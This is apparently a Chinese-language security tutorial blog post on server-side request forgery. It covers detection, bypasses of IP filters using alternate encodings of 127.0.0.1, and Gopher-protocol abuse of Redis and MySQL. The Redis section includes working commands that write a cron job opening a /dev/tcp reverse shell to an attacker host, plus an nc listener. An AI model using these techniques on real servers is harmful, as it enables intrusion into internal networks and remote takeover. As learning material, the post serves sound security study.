玩命加载中 . . .

SSRF


7. SSRF 服务器段请求伪造

1.场景

  • 公司服务器——公司内部机器。我们最多访问能到服务器,而进不了内网,不能对内网机器进行访问
  • 如果,让服务器自己通过内网访问内网机器。就可以进行其他操作
  • 服务器必须能对外发请求才可以
  • 类似于 百度翻译这样的 能够翻译网站的工具 其实都是服务器自己去请求这个网站,然后翻译

2.危害

3.漏洞判断

  • 在输入处输入 链接、地址
    • 回显
    • 延时
    • dns请求(cyce.io)
  • 再用 url=http://localhost/进行测试:能不能访问内网

4.相关函数

  • file_get_content:该函数可以读取url指向的文件(对外发起请求)
  • fsockopen :打开一个网络链接或者unic套接字链接
  • curl_exec:调用curl服务,curl支持的协议与他的版本有关,可以在phpinfo中查到curl支持的协议
  • dict:// 功能与curl一样 :curl 127.0.0.1:3306 == dict://127.0.0.1:3306
  • Gopher

5.绕过IP限制

服务器发出请求时,如果做了IP限制,可以用一下方法尝试绕过

  • 添加端口(添加80端口,绕过正则匹配)
  • 在地址后加无用参数:127.0.0.1?a=fghjkbnm
  • 短网址:指向某网址
  • 指向任意ip的域名,示例网址:xip.io
  • IP限制绕过 :127.0.0.1
    • 十六进制转换 127.0.0.1 == 0x7f.0.0.1 == 0x7f000001(用0代替点)
    • 八进制转换 127.0.0.1 == 0177.0.0.1
    • 十进制转换 0x7f000001 == 2130706433
    • 不同进制组合转换
  • 特殊(不常用):www.baidu.com@127.0.0.1 :使用www.baidu.com的身份登录到127.0.0.1

6.Gopher协议

  • Gopher是一个互联网上使用的分布型的文件搜集获取网络协议,Gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合Gopher协议的请求。Gopher协议是 ssrf 利用中一个最强大的协议(俗称万能协议)
  • 具体协议内容及格式请百度
  • Gopher 对Redis的应用:

    • 通过ssrf –> gopher 调用Redis(没密码),去写一个 corn 定时任务,反弹shell

    • 使用Redis反弹shell:

      • #  redis-cli -h aa.aa.aa.aa   //连接主机
        >  set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/bb.bb.bb.bb/5765 0>&1\n\n"     //反弹shell的代码
        >  config set dir /var/spool/cron  //创建定时任务
        >  config set dbfilename root      //配置root数据库
        >  save 
        >  quit
      • 另一个主机去监听

        nc -v -l -p 5765      //我是攻击者bb.bb.bb.bb
      • corn 的语法: 
        [分] [时] [日] [月] [周] command
        -  表示一个范围
        *  表示所有可能的值
        ,  列表范围
        /  指定间隔频率
        
        
  */1 * * * * command   :表示每个1分钟执行一次command
  59 23 1 5 * command   :表示每年的5月1号23点59分执行一次command
  ```

7.Gopher对MySQL的利用

  • 完成前面的ssrf探测:ip138.com、ceye.io等方法,发现存在ssrf,确认了MySQL无密码

  • 协议转化

    curl "gopher://127.0.0.1:3306/_    //使用curl以外的类似命令也可以
    +url编码的登入请求  //通过wireshark抓取mysql的登录包得到
    +包长度(下一句开始到最后一个字符的长度)
    +%00%00%00%03
    +查询语句(url编码)
    +%01%00%00%00%01"
    
    //直接用脚本生成
    https://github.com/tarunkant/Gopherus
  • 实例


文章作者: kylin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kylin !
  目录